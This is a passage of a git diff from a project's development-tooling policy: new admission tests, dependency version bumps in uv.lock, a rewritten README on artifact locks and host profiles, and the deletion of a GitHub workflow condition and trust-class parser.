_seed_oci_graph_policy(tmp_path) + admission = _load(root, "implementations/tooling/admission-policy.json") + admission["denied_digests"] = [_OCI_LAYER] + _write_json(root, "implementations/tooling/admission-policy.json", admission) + + assert "tooling-digest-denied" in _failures(root) + + +def test_two_platforms_of_one_image_cannot_select_the_same_manifest(tmp_path: Path) -> None: + """A platform selection must name that platform's own manifest. + + Two platforms claiming one manifest digest is the substitution this rule + exists to reject: the second platform would be admitted against an object + that was reviewed for a different architecture. + """ + + root = _seed_oci_graph_policy(tmp_path) + lock = _load(root, ARTIFACT_LOCK_PATH) + platform = lock["artifacts"][0]["platforms"][0] + duplicate = json.loads(json.dumps(platform)) + duplicate["platform_id"] = "linux-arm64" + duplicate["installed_identity"]["target"] = "linux-arm64" + duplicate["oci_graph"]["architecture"] = "arm64" + # Everything else differs; only the selected manifest is shared. + lock["artifacts"][0]["platforms"].append(duplicate) + _write_json(root, ARTIFACT_LOCK_PATH, lock) + + assert "tooling-oci-manifest-duplicate" in _failures(root) diff --git a/implementations/python/uv.lock b/implementations/python/uv.lock index 86b259a7d..abbe1a82c 100644 --- a/implementations/python/uv.lock +++ b/implementations/python/uv.lock @@ -51,28 +51,28 @@ wheels = [ [[package]] name = "anyio" -version = "4.13.0" +version = "4.14.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "idna" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260176, upload-time = "2026-07-12T20:29:07.082Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, + { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125813, upload-time = "2026-07-12T20:29:05.763Z" }, ] [[package]] name = "asyncssh" -version = "2.23.1" +version = "2.24.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a4/95/212d3d394f2a6ccb3f95056d3b9a7ce13c2f58503cbd6a38d037ef48cb13/asyncssh-2.23.1.tar.gz", hash = "sha256:d9dc3bc0206f3e4b5d80d1c0e6a24af2b4ad4beb556884c41fb2ad1c7ca3f44f", size = 542883, upload-time = "2026-06-07T14:15:18.832Z" } +sdist = { url = "https://files.pythonhosted.org/packages/dd/7f/2d79247bacc562104f312d27efe541673aa177feac89de291bd61bca52be/asyncssh-2.24.0.tar.gz", hash = "sha256:4064c590e59ce2e8d82a2f66d35f3120d765828b4df5e3dbfb07b4a8c24686c9", size = 550148, upload-time = "2026-06-27T20:34:44.755Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", hash = "sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", size = 376054, upload-time = "2026-06-07T14:15:17.375Z" }, + { url = "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", hash = "sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", size = 381237, upload-time = "2026-06-27T20:34:43.198Z" }, ] [[package]] @@ -1065,11 +1065,11 @@ wheels = [ [[package]] name = "pyjwt" -version = "2.13.0" +version = "2.15.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" } +sdist = { url = "https://files.pythonhosted.org/packages/43/ea/5194e52748b0da83d71e082d75496eaec6e58f419f5e184786ded517e6a9/pyjwt-2.15.1.tar.gz", hash = "sha256:4f259e80cdfb6b3fc18a7de51fd1ef9ec79652f25019bae68975ca2468a34df8", size = 121252, upload-time = "2026-09-28T18:40:42.598Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", hash = "sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", size = 33860, upload-time = "2026-09-28T18:40:41.429Z" }, ] [package.optional-dependencies] @@ -1285,7 +1285,7 @@ docs = [ [package.metadata] requires-dist = [ - { name = "asyncssh", specifier = ">=2.23.0" }, + { name = "asyncssh", specifier = ">=2.24.0" }, { name = "blake3", specifier = ">=1.0.8,<2" }, { name = "click", specifier = ">=8.3.3" }, { name = "coverage", marker = "extra == 'dev'", specifier = ">=7.0.0" }, @@ -1854,11 +1854,11 @@ wheels = [ [[package]] name = "urllib3" -version = "2.7.0" +version = "2.8.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", size = 458972, upload-time = "2026-09-15T19:29:36.253Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, + { url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", size = 135717, upload-time = "2026-09-15T19:29:34.577Z" }, ] [[package]] diff --git a/implementations/tooling/README.md b/implementations/tooling/README.md index ad0bce14e..942ba940b 100644 --- a/implementations/tooling/README.md +++ b/implementations/tooling/README.md @@ -1,211 +1,101 @@ -# Development artifact policy - -This directory is the reviewed, declarative authority for development artifact -identity, supported platforms, admission rules, GitHub Action sources, selector -bindings, host/bootstrap profiles, qualification records and inventory coverage. -It is internal tooling policy, not an SDL contract. The project lock remains -the runtime/development/docs resolution authority; `python/uv.lock` separately -owns the complete verification-tool and build-backend graph. - -Run the deterministic offline validator before acquiring a governed artifact: - -```bash +# Development tooling inputs + +## Authority and ownership + +This directory holds internal development input identity, not portable SDL +contracts. [MAINTAINERS.md](../../MAINTAINERS.md) identifies the one accountable +maintainer. Historical Tooling/Security/Release labels describe responsibilities, +not independent reviewers or a mandatory deputy. + +- `artifacts.lock.json` owns tool/bootstrap versions, raw hashes/sizes and + installed identities. `tools/tool_versions.py` and literal selector bindings + are checked projections, not alternate authorities. +- Project and tooling `pyproject.toml`/`uv.lock` pairs own Python resolution. + The tooling `build` group owns the backend; generated constraints and + project-target smoke manifests are checked projections. +- Native workflows and Dependabot configuration own their settings. Focused + checks cover action pins, reusable input contracts, publishing permissions + and PR credential boundaries without a second workflow model. +- `admission-policy.json` keeps reviewed identity rules and denied digests; + it does not introduce a status/revocation service. + +Acquisition selectors validate their owning bounded, duplicate-free documents +and selected dependencies. They do not run the complete repository evaluator. +The explicit check remains: + +```shell RAES_REQUIREMENT_UID=GOV-913 implementations/python/.venv/bin/python tools/check_tooling_artifact_policy.py ``` -Acquisition clients request an exact artifact, version, canonical platform and -profile through `tools/tooling_policy_gate.py`. The returned lock selection is -the only acquisition authority for source URLs and raw and installed digest/size -manifests. Source-snapshot raw manifests describe the reviewed upstream bytes; -their installed manifests describe the checked-in derived vocabulary snapshots. -The validator discovers Git-tracked workflow actions, selector literals and -acquisition surfaces, and fails closed when a relevant file cannot be parsed. -Runtime-selection consumers are derived from every tracked Python call and -every action-transitive artifact reference rather than trusted from the -maintained binding list. Acquisition dispositions record -the exact discovered site count, so a new call in an already covered file is -still drift; dynamic process commands require an explicit disposition. Inert -fixture strings do not count as execution. - -Manifest paths are normalized portable relative paths. Acquisition clients use -fixed or private temporary names, reject symlinked cache components and require -the selected archive member and cached executable to be regular files before -they can become trusted inputs. - -Artifact and policy changes require independent review by the owner roles named -in each record. Native acquisition remains delegated to the owning client: -`uv` and the frozen Python tooling client for Python, platform package managers -for native packages, Docker or Podman for OCI images, and the reviewed -generic-client migration for release archives. -Never add credentials, executable hooks, shell fragments, mutable selectors or -unauthenticated-signature claims to these files. - -## Python tool, build, and smoke closures - -`python/pyproject.toml` and `python/uv.lock` pin Nox, pre-commit, Ruff, -check-jsonschema, pytest, the reviewed uv 0.12.4 executable package, the -cryptography fixture dependency used by T08, and every transitive tool -dependency. The separate `build` group pins Hatchling. -`python/build-constraints.txt` is the generated, hash-complete isolated-build -projection. Target-specific requirements and raw wheel manifests under -`python/smoke/` are generated from the project or tool lock and checked -byte-for-byte by the tooling policy gate. Tool manifests include both the -default tool graph and the build group so a fresh offline cache can create the -tool environment and isolated build environment from the same verified raw -wheelhouse. - -Regenerate and verify those projections with the frozen tooling environment: - -```bash -uv run --project implementations/tooling/python --frozen --no-default-groups python tools/generate_python_closures.py -uv run --project implementations/tooling/python --frozen --no-default-groups python tools/generate_python_closures.py --check -``` +No inventory-site counts or global qualification hashes need renewal after an +ordinary change. Maintained curl, uv, Docker/Podman and signed native package +sources own acquisition; no custom HTTP stack or live checksum discovery is +permitted. Errors are bounded and must not echo candidate URLs or credentials. + +## Connected setup and Python environments + +Follow [CONTRIBUTING.md](../../CONTRIBUTING.md). Sync the separate project and +tooling environments from their frozen locks. Basic tooling does not require +the TLS certificate-generation fixture dependency. Run real acquisition tests +with the optional group: -Callers select a closed `python_closure_profile_id`; they do not supply package -lists, index arguments, or environment overlays. Public, enterprise -mirror-only, and offline contexts are distinct. Mirror policy stores only a -credential reference and accepts one credential-free HTTPS locator through -`RAES_PYTHON_MIRROR_URL`; public fallback is prohibited. Offline installation -first verifies that the wheelhouse contains exactly the named regular files at -the recorded sizes and SHA-256 digests. - -The supported project closure tuples are Linux x86_64 on CPython 3.11–3.14, -Linux arm64 on CPython 3.14, and macOS arm64 on CPython 3.14. macOS x86_64 is -not a supported tooling platform: cryptography 50.0.0 and later, required for -the advisories fixed in #1268, publish no macOS x86_64 or universal wheel, and -ambient source fallback is not admitted. A new tuple requires a -lock/export/profile update and qualification evidence. - -These locks make dependency selection repeatable. They do not claim that wheel -builds are byte-for-byte reproducible across host SDKs, compilers, operating -systems, or build times. Candidate wheel and sdist builds therefore run outside -the checkout and are recorded by digest. - -## GitHub Action admission - -`actions-policy.json` v2 has three independent planes: exact action source -revisions, their closed payload/host/service dependency graph, and every -workflow job plus action use site. A use-site record binds the literal `with` -inputs to its effective event/ref trust classes, permissions, credential -classes, fixed runner profile, allowed origins, and cache/artifact role. -Security-relevant input defaults and cache, artifact, and credential effects -are declared on sources rather than inferred from action names. Each applicable -transitive payload and host capability must join every concrete matrix runner -profile at the use site. Composite-action dependencies have their own source -revisions. External -service inputs use reviewed, dated exceptions; an exception is a bounded -nonclaim and never substitutes for a payload digest. - -The validator safely parses every tracked workflow, rejects YAML aliases and -duplicate keys, evaluates a closed boolean condition grammar without substring -trust shortcuts, accounts for workflow permission and environment inheritance, -propagates caller trust into local reusable workflows, and checks their input -and permission ceilings. Remote reusable workflows are rejected until they have -a complete source/use-site model. Candidate jobs cannot hold write -permissions, enterprise secrets, OIDC, trusted cache/artifact roles, or -publication authority. A job condition may refine pull-request execution to -the `same-repository-pr` class only by proving that the head repository equals -`github.repository`; this keeps fork and Dependabot contribution paths in the -untrusted class while admitting repository-secret checks for repository-owned -branches. Checkout credential persistence and cache behavior are closed source -input contracts. The policy compares the complete Dependabot -configuration so extra update streams, empty groups, schedule changes, or a -changed `z3-solver` exclusion cannot escape admission. - -This repository check executes after GitHub fetches an action. GitHub's action -allow policy, branch/ruleset protection, and environment protection remain -required hosted controls; the JSON policy cannot replace them. Live services -are unavailable offline and must be reported unevaluated rather than simulated. - -## Bootstrap and host qualification - -The v2 development-profile document keeps artifact selection and host policy -separate. A host profile joins a canonical platform to locked CPython and uv -payloads, native repository and image trust references, capability ids, a -credential-free payload kit and bounded T01/T02/T03/T08/T12 records. The kit -records native packages and trust roots as host prerequisites rather than -claiming they are archive contents. -Qualification compares the declared hosted-image family and architecture with -runner-provided `ImageOS` and `RUNNER_ARCH`, validates `ImageVersion`, and -records the exact observed release. The native package set inherits that -observed image identity; missing or mismatched runner metadata makes -qualification fail. -An action commit identifies orchestration code; it never identifies the Python -or uv bytes selected by that action. Standard CPython 3.11–3.14 payloads are -blocking. The separately locked 3.14t payload remains advisory. - -`container-ubuntu-24.04-x86_64` is the reviewed container host profile behind -the [development container](../../docs/explain/development-container.md). It -adds closed fields the native profiles do not carry: a `base_image_artifact_ref` -naming the digest-pinned OCI base in the artifact lock, a -`native_repository_snapshot` fixing the immutable package snapshot, -`development_package_ids` for maintainer tools, and a non-root -`development_user`. Only Linux x86_64 is declared, because Ubuntu publishes -immutable package snapshots only for it; arm64 hosts run the same image under -emulation. `tools/tooling_artifact_policy_container.py` joins the profile to -`.devcontainer/Dockerfile` and fails closed on a floating or substituted base, a -stage without the qualified `--platform`, a drifting or bypassed snapshot, an -unreviewed or missing package, a root or drifting account, or any build -argument, environment input, instruction, mount, or RUN command outside the -closed reviewed forms. `tools/tooling_artifact_policy_devcontainer.py` holds -`devcontainer.json` to its closed shape: the single `tools.devcontainer_setup` -lifecycle command, the tool path, one named cache volume, editor customizations -without commands or environment, and no host-side commands, extra environment, -host mounts, or container capabilities. The profile declares -`proof_support: unsupported` and supplies no container daemon. The -`development-image` job in the bootstrap qualification workflow validates this -policy before building, builds from an empty builder cache, runs the -dev-container lifecycle setup twice, then runs `nox -s policy`, `nox -s lint`, -and `nox -s tests` in a new terminal and confirms the proof lane fails with its -bubblewrap capability diagnosis. - -Use the fixed inspection surface for a reviewed host profile: - -```bash -implementations/python/.venv/bin/python -m tools.bootstrap_profile inspect-profile public-ubuntu-24.04-x86_64 +```shell +uv run --project implementations/tooling/python --frozen --no-default-groups --group acquisition-tests python -m pytest implementations/python/tests/test_issue_1217_bootstrap_profiles.py -m integration -k real_curl ``` -Inspect the native prerequisites and immutable repository identity with +Regenerate build constraints and project smoke projections after reviewed lock +changes: -```bash -implementations/python/.venv/bin/python -m tools.bootstrap_profile setup-plan public-ubuntu-24.04-x86_64 +```shell +uv run --project implementations/tooling/python --frozen --no-default-groups python tools/generate_python_closures.py +uv run --project implementations/tooling/python --frozen --no-default-groups python tools/generate_python_closures.py --check ``` -The setup plan refuses to invoke an ambient package manager because a package -name does not bind the declared repository snapshot, trust root, or maintainer -scripts. Provision the reviewed base image or a complete verified native bundle, -then use `inspect-profile`; this repository does not execute `sudo`, a shell, a -remote installer, or an unreviewed repository/key. Ubuntu 22.04's stock curl -7.81 does not satisfy the -unknown-length `--max-filesize` behavior floor; a generic-acquisition profile -must use an admitted client from its reviewed image or offline kit and otherwise -fails. The proof profile remains useful on Ubuntu 22.04 because it keeps curl -outside that profile's admitted capabilities and preserves Bubblewrap network -isolation, fonts/fontconfig and `C.UTF-8` as hard prerequisites. -Canonical verification therefore fetches the four generic-tool raw objects in -a same-run Ubuntu 24.04 preparation job, carries only those lock-verified bytes -to the proof job, and admits them through each installer's explicit local-input -path. The Ubuntu 22.04 proof host never treats its stock curl as a generic-tool -acquisition capability. - -`bootstrap-qualification.yml` executes the four locked generic tools on Linux -x86_64/arm64 and macOS arm64, runs the maintained curl against controlled -TLS, redirect, retry, disconnect, deadline and unknown-length size fixtures, -exports exact raw uv/CPython objects plus an installed managed interpreter, uv, -target-specific raw Python wheelhouses and the four generic tools. It measures -every kit entry, deletes the seeded copies, restores the target-specific -archive, verifies raw and installed identities, disables uv downloads and -network fallback, recreates environments from the verified wheels, then repeats -the frozen Python and tool checks. Linux arm64 and macOS arm64 bind that clean -restore to T12; all three platforms bind their tool/ABI run to T02. -Native packages and trust roots remain reviewed base-image prerequisites. The -workflow retains the bounded result and payload-kit artifacts under the exact -workflow commit. Public profiles contain no credential reference; enterprise -variants may carry reference ids only. - -The `legacy-remediation`, `external-service`, `excluded-domain`, and -`non-acquisition-execution` acquisition dispositions are explicit coverage -records, not claims that downstream migration work has already landed. The last -value records a dynamic command surface that is reviewed as execution but does -not acquire bytes. Owning issues are recorded on the corresponding inventory -rows. +Installed wheel/sdist smokes keep exact candidate bytes and hash-pinned +dependencies outside the checkout. A verified local smoke wheelhouse is a test +input, not support for complete disconnected development. Enterprise/offline +package contexts and redundant tool-wheelhouse manifests are retired. + +Project smoke targets remain Linux x86_64 CPython 3.11–3.14, Linux arm64 CPython +3.14 and macOS arm64 CPython 3.14. Separating the TLS fixture does not restore +Intel Mac support: #1268's patched runtime dependency/binary-closure limitation +still needs a tested resolution. No vulnerable pins or new platform claims are +introduced. Frozen resolution does not imply bit-reproducible native builds. + +## Hosts, containers and private installations + +Host profiles list bootstrap payloads and native capability prerequisites. +Inspect them with `python -m tools.bootstrap_profile setup-plan ` +or `inspect-profile `. Setup-plan reports prerequisites; it does +not run privileged package commands. Install native prerequisites through +trusted signed sources. Generic transfers require curl 8.4.0 or newer; the +proof archive can be carried from a suitable acquisition host to its isolated +Ubuntu 22.04 proof host. + +The optional [development container](../../docs/explain/development-container.md) +uses a digest-pinned base, signed ordinary Ubuntu repositories and a non-root +account. Dockerfile/devcontainer configuration owns native setup, not a full +parallel policy model. Relevant changes/manual runs qualify the components; +ordinary unrelated application edits do not regenerate/restore offline kits. + +Private tool/proof caches retain no-follow ownership checks, bounded extraction, +complete identity checks, locks, atomic publication and crash recovery. Shared +immutable seed import and filesystem-type allowlists are removed. Actual +filesystem operation failures remain terminal. Full proof-tree hashing stays: +the cache owner can modify read-only files, so a marker or metadata shortcut +cannot establish content integrity. The proof sandbox is unchanged. + +The release container lane directly pulls the locked digest and checks the +daemon's platform/content identity. Unique concurrent-run names and teardown +remain; mirror/pre-seeded distribution and mandatory OCI export/import do not. +The connected AWS smokes preserve verified VM/bootstrap bytes and SSH identity +without staging a complete Python wheelhouse or requiring native snapshots. + +## Release evidence and current scope + +Standard SBOM/provenance, producer identity, exact release SHA and tested +output hashes remain. Build inputs read the native release/reusable workflows. +#1227 owns ordinary same-byte publication recovery; #684 owns real publication +acceptance. No distribution service, independent-copy backup, deputy, +service-load, retention/GC service or blanket release gate is introduced. +See the [current design scope](../../docs/decisions/package-artifacts/README.md). diff --git a/implementations/tooling/action_policy_conditions.py b/implementations/tooling/action_policy_conditions.py deleted file mode 100644 index 992c86717..000000000 --- a/implementations/tooling/action_policy_conditions.py +++ /dev/null @@ -1,474 +0,0 @@ -"""Closed condition, trust, secret, runner, and workflow parsing helpers.""" - -from __future__ import annotations - -import re -from collections.abc import Iterable, Mapping -from typing import Any - -from tools.tooling_artifact_policy_common import ( - SHA40_RE, - as_list, - as_mapping, -) - -_SECRET_DOT_RE = re.compile(r"\bsecrets\.([A-Za-z_]\w*)\b", re.ASCII) -_SECRET_BRACKET_RE = re.compile(r"\bsecrets\s*\[\s*(['\"])([A-Za-z_]\w*)\1\s*\]", re.ASCII) -_SECRET_CONTEXT_RE = re.compile(r"\bsecrets\b", re.IGNORECASE) -_WORKFLOW_EXPRESSION_RE = re.compile(r"\$\{\{.*?\}\}", re.DOTALL) -_CONDITION_TOKEN_RE = re.compile( - r"\s*(?:(?P&&|\|\||==|!=|[!()])|" - r"(?P'[^'\\]*(?:\\.[^'\\]*)*'|\"[^\"\\]*(?:\\.[^\"\\]*)*\")|" - r"(?P[A-Za-z_][A-Za-z0-9_.-]*))" -) -_EVENT_NAME = "github.event_name" -_PR_HEAD_REPOSITORY = "github.event.pull_request.head.repo.full_name" -_REF = "github.ref" - - -class _ConditionSyntaxError(ValueError): - """Raised when a job/step condition is outside the admitted grammar.""" - - -class _ConditionParser: - """Parse the closed boolean subset used by repository workflow conditions.""" - - def __init__(self, text: str) -> None: - self.tokens = self._tokenize(text) - self.position = 0 - - @staticmethod - def _tokenize(text: str) -> list[str]: - tokens: list[str] = [] - position = 0 - while position < len(text): - match = _CONDITION_TOKEN_RE.match(text, position) - if match is None: - raise _ConditionSyntaxError("unsupported condition token") - tokens.append(match.group("operator") or match.group("string") or match.group("identifier")) - position = match.end() - return tokens - - def parse(self) -> tuple[Any, ...]: - expression = ("literal", True) if not self.tokens else self._parse_or() - if self.position != len(self.tokens): - raise _ConditionSyntaxError("trailing condition tokens") - return expression - - def _accept(self, token: str) -> bool: - accepted = self.position < len(self.tokens) and self.tokens[self.position] == token - if accepted: - self.position += 1 - return accepted - - def _parse_or(self) -> tuple[Any, ...]: - expression = self._parse_and() - while self._accept("||"): - expression = ("or", expression, self._parse_and()) - return expression - - def _parse_and(self) -> tuple[Any, ...]: - expression = self._parse_unary() - while self._accept("&&"): - expression = ("and", expression, self._parse_unary()) - return expression - - def _parse_unary(self) -> tuple[Any, ...]: - expression = ("not", self._parse_unary()) if self._accept("!") else self._parse_primary() - return expression - - def _parse_primary(self) -> tuple[Any, ...]: - if self._accept("("): - expression = self._parse_or() - if not self._accept(")"): - raise _ConditionSyntaxError("unclosed condition group") - return expression - left = self._parse_operand() - comparison = self.position < len(self.tokens) and self.tokens[self.position] in {"==", "!="} - if not comparison: - return ("truthy", left) - operator = self.tokens[self.position] - self.position += 1 - return (operator, left, self._parse_operand()) - - def _parse_operand(self) -> tuple[Any, ...]: - if self.position >= len(self.tokens): - raise _ConditionSyntaxError("missing condition operand") - lexeme = self.tokens[self.position] - if lexeme in {"&&", "||", "==", "!=", "!", "(", ")"}: - raise _ConditionSyntaxError("invalid condition operand") - self.position += 1 - if lexeme.startswith(("'", '"')): - operand: tuple[Any, ...] = ("literal", lexeme[1:-1]) - elif lexeme in {"true", "false"}: - operand = ("literal", lexeme == "true") - elif self._accept("("): - if not self._accept(")"): - raise _ConditionSyntaxError("only zero-argument condition functions are admitted") - operand = ("function", lexeme) - else: - operand = ("variable", lexeme) - return operand - - -def condition_ast(value: object) -> tuple[Any, ...] | None: - expression: tuple[Any, ...] | None - if value is None or value == "": - expression = ("literal", True) - elif isinstance(value, bool): - expression = ("literal", value) - elif not isinstance(value, str): - expression = None - else: - text = value.strip() - if text.startswith("${{") and text.endswith("}}"): - text = text[3:-2].strip() - try: - expression = _ConditionParser(text).parse() - except _ConditionSyntaxError: - expression = None - return expression - - -def _condition_operand(expression: tuple[Any, ...], context: Mapping[str, object]) -> tuple[bool, object]: - if expression[0] == "literal": - return True, expression[1] - if expression[0] == "variable" and expression[1] in context: - return True, context[expression[1]] - return False, None - - -def _logical_values(expression: tuple[Any, ...], context: Mapping[str, object]) -> set[bool]: - left = condition_values(expression[1], context) - right = condition_values(expression[2], context) - if expression[0] == "and": - return {first and second for first in left for second in right} - return {first or second for first in left for second in right} - - -def _comparison_values(expression: tuple[Any, ...], context: Mapping[str, object]) -> set[bool]: - left_known, left = _condition_operand(expression[1], context) - right_known, right = _condition_operand(expression[2], context) - if not left_known or not right_known: - return {False, True} - equal = left == right - return {equal if expression[0] == "==" else not equal} - - -def _leaf_condition_values( - kind: object, - expression: tuple[Any, ...], - context: Mapping[str, object], -) -> set[bool] | None: - if kind == "literal": - values: set[bool] | None = {bool(expression[1])} - elif kind == "variable": - value = context.get(str(expression[1])) - values = {bool(value)} if value is not None else {False, True} - elif kind == "function": - values = {True} if expression[1] == "always" else {False, True} - else: - values = None - return values - - -def condition_values(expression: tuple[Any, ...], context: Mapping[str, object]) -> set[bool]: - kind = expression[0] - values = _leaf_condition_values(kind, expression, context) - if values is not None: - return values - if kind == "truthy": - values = condition_values(expression[1], context) - elif kind == "not": - values = {not value for value in condition_values(expression[1], context)} - elif kind in {"and", "or"}: - values = _logical_values(expression, context) - elif kind in {"==", "!="}: - values = _comparison_values(expression, context) - else: - values = {False, True} - return values - - -def _condition_string_literals(expression: tuple[Any, ...]) -> set[str]: - literals = {expression[1]} if expression[0] == "literal" and isinstance(expression[1], str) else set() - for child in expression[1:]: - if isinstance(child, tuple): - literals.update(_condition_string_literals(child)) - return literals - - -def _condition_variables(expression: tuple[Any, ...]) -> set[str]: - variables = {str(expression[1])} if expression[0] == "variable" else set() - for child in expression[1:]: - if isinstance(child, tuple): - variables.update(_condition_variables(child)) - return variables - - -def _unmodeled_ref(known_refs: set[str], candidate: str = "refs/heads/__gc-unmodeled-ref__") -> str: - while candidate in known_refs: - candidate += "-other" - return candidate - - -def generic_trust_contexts( - protected_refs: set[str], - expression: tuple[Any, ...], - trigger_names: set[str] | None = None, -) -> dict[str, list[dict[str, object]]]: - protected_set = protected_refs or {"refs/heads/main"} - protected = sorted(protected_set) - literal_refs = {value for value in _condition_string_literals(expression) if value.startswith("refs/")} - unprotected = sorted(literal_refs - protected_set) - unprotected.append(_unmodeled_ref(literal_refs | protected_set)) - all_refs = [*protected, *unprotected] - pull_events = sorted((trigger_names or set()) & {"pull_request", "pull_request_target"}) - pull_events = pull_events or ["pull_request", "pull_request_target"] - pull_refs = sorted(value for value in literal_refs if value.startswith("refs/pull/")) - pull_refs.append(_unmodeled_ref(literal_refs | protected_set | set(pull_refs), "refs/pull/other/merge")) - return { - "untrusted-pr": _pull_request_contexts(pull_events, pull_refs, all_refs, same_repository=False), - "same-repository-pr": _pull_request_contexts(pull_events, pull_refs, all_refs, same_repository=True), - "untrusted-ref": _event_contexts("push", unprotected), - "protected-branch": _event_contexts("push", protected), - "manual": _event_contexts("workflow_dispatch", all_refs), - "scheduled": _event_contexts("schedule", protected[:1]), - "reusable": _event_contexts("workflow_call", protected[:1]), - } - - -def _event_contexts(event: str, references: list[str]) -> list[dict[str, object]]: - return [{_EVENT_NAME: event, _REF: reference} for reference in references] - - -def _pull_request_contexts( - events: list[str], - pull_refs: list[str], - all_refs: list[str], - *, - same_repository: bool, -) -> list[dict[str, object]]: - repository = "gc/repository" - return [ - { - _EVENT_NAME: event, - _REF: reference, - "github.repository": repository, - _PR_HEAD_REPOSITORY: repository if same_repository else "gc/fork", - "github.actor": actor, - } - for event in events - for reference in (pull_refs if event == "pull_request" else all_refs) - for actor in ("gc-repository-actor", "dependabot[bot]") - ] - - -def filter_trust_classes( - classes: set[str], - condition: object, - protected_refs: set[str], - trigger_names: set[str] | None = None, -) -> tuple[set[str], bool]: - expression = condition_ast(condition) - if expression is None: - return classes, False - candidate_classes = set(classes) - if "untrusted-pr" in candidate_classes and _PR_HEAD_REPOSITORY in _condition_variables(expression): - candidate_classes.add("same-repository-pr") - contexts = generic_trust_contexts(protected_refs, expression, trigger_names) - filtered = { - trust_class - for trust_class in candidate_classes - if any(True in condition_values(expression, context) for context in contexts[trust_class]) - } - return filtered, True - - -def action_identity(value: object) -> tuple[str, str] | None: - if not isinstance(value, str): - return None - action_name, separator, selector = value.rpartition("@") - if not separator or not action_name or action_name.startswith(("./", "docker://", "http://", "https://")): - return None - return action_name.lower(), selector - - -def trigger_names(workflow: Mapping[str, Any]) -> set[str]: - triggers = workflow.get("on", workflow.get(True)) - if isinstance(triggers, str): - names = {triggers} - elif isinstance(triggers, list): - names = {item for item in triggers if isinstance(item, str)} - elif isinstance(triggers, Mapping): - names = {str(key) for key in triggers} - else: - names = set() - return names - - -def _branch_trust_class(branch: object, protected_refs: set[str]) -> str: - if isinstance(branch, str) and not any(character in branch for character in "*?[]"): - return "protected-branch" if f"refs/heads/{branch}" in protected_refs else "untrusted-ref" - return "untrusted-ref" - - -def _push_trust_classes(workflow: Mapping[str, Any], protected_refs: set[str]) -> set[str]: - push = as_mapping(as_mapping(workflow.get("on", workflow.get(True))).get("push")) - branches = as_list(push.get("branches")) - tags = as_list(push.get("tags")) - classes = {_branch_trust_class(branch, protected_refs) for branch in branches} - if not branches and not tags: - classes.update({"protected-branch", "untrusted-ref"}) - ignored = as_list(push.get("branches-ignore")) or as_list(push.get("tags-ignore")) - if tags or 